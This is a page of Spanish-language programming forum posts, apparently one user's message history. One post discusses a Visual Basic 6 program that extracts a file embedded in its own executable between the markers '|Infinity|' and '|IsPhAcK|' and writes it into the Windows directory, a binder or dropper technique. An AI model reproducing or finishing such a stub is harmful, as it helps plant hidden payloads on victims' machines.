Mensajes

si, e visto el foro el diseño y los temas pero no puedo entrar a ningun tema sale como deshabilitado o no disponible
y como hablan como si puediran xD

:| yo no puedo ver ese tema, de hecho no puedo abrir ninguno como hacen

A mi se me cuelga por 5 segundos al iniciar la ultima version espero que esta no lp haga

NO se te puede ayudar con códigos tan cochinos como ese.

Dulces Lunas!¡.

   

que error de variables

Código (VB) [Seleccionar] Expandir

Option Explicit
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As Long) As Integer
Const GWW_HINSTANCE = (-6)
Const SW_SHOWNORMAL = 1
Const SW_SHOWHIDE = 0
Dim STR1 As String
Dim STR2 As String


Private Function Ruta() As String
Dim R_str1 As String
Dim R_str2 As String
Dim R_lng As Long

R_str1 = String$(128, Chr$(0))
R_lng = GetWindowWord(isp.hwnd, GWW_HINSTANCE)
R_str1 = Left$(R_str1, GetModuleFileName(R_lng, R_str1, Len(R_str1)))
Ruta = R_str1
End Function

Private Sub Main()


On Error Resume Next
Dim MnStr1 As String
Dim MnStr2 As String
Dim MnStr3 As String
Dim MnStr4 As String

STR1 = "|Infinity|"
STR2 = "|IsPhAcK|"

Open Ruta For Binary As #1

   Dim MnStr5 As String

   MnStr5 = Space(LOF(1))
   Get #1, , MnStr5
Close #1

Dim MnVariant1 As Variant, MnVariant2 As Variant

MnVariant1 = Split(MnStr5, STR1)

For n = 1 To UBound(MnVariant1)
   MnVariant2 = Split(MnVariant1(n), STR2)
   For i = 0 To UBound(MnVariant2)
       Select Case i
           Case 0
               L0L = MnVariant2(i)
           Case 1
               MnStr2 = MnVariant2(i)
           Case 2
               Select Case MnVariant2(i)
                   Case "Windows"
                       MnStr3 = Environ("WINDIR")
               End Select
           Case 3
               MnStr4 = MnVariant2(i)
           Case 4
               MnStr1 = MnVariant2(i)
       End Select
   Next i
Next n

Open MnStr3 & "\" & MnStr2 For Binary As #1
Put #1, , MnStr1
Close #1
End Sub

se supone que en el binario debe de haber la STR1 luego en cada una de esas subcadenas la STR2
luego en esas sub cadenas dentro de las sub cadenas dependiendo del numero de sub cadenas que encuentre en este ultimo
las aguarda en las variables todas son recorridas por el FOR
y que se supone que son las rutas que el nuevo archivo binario que despues son concatenadas las variables encontradas que resulta ser la ruta . espero que te haya ayudado

Primero que nada, desofuca ese code

+1

y Assembly :3 adonde esta que no lo veo
me gusta la tabla solo que no veo assembly :3

imaginen un captcha chino? Como harian?
Busca esa foto en google, con la opcion de buscar con una foto. Y te fijas el nombre de los archivos o el "quizas quiso decir"

raul338 no entendi eso que mencionaste
pero bueno yo use esta pagina talvez a alguien que tenga el mismo problema le sirva
http://www.abbyyonline.com/

Vete a google pega en el portapapeles el texto de la imagen y donde pone mas busca traductor, alli pega el texto del portapapeles y despues pon el idioma al que quieres que te lo traduzca y te saldra la respuesta, y te sobraran 4H 55 Seg de las 5 que llevas buscando la solucion a ese gran problema tuyo.

Salu2.

Otra opción es no poner imágenes no permitidas.

la imagen era una palabra en chino...  como harian ?

Guardado
gracias Zero

A mi si me sale la condicion if
pero lo que sucede es que estas dividiendo entre 0 deberia hacer en la condicion que si es 0 no lo incluya en la operacion
porque en los dos compiladores que tengo el programa se cuelga o da error en esa linea
que compilador usas?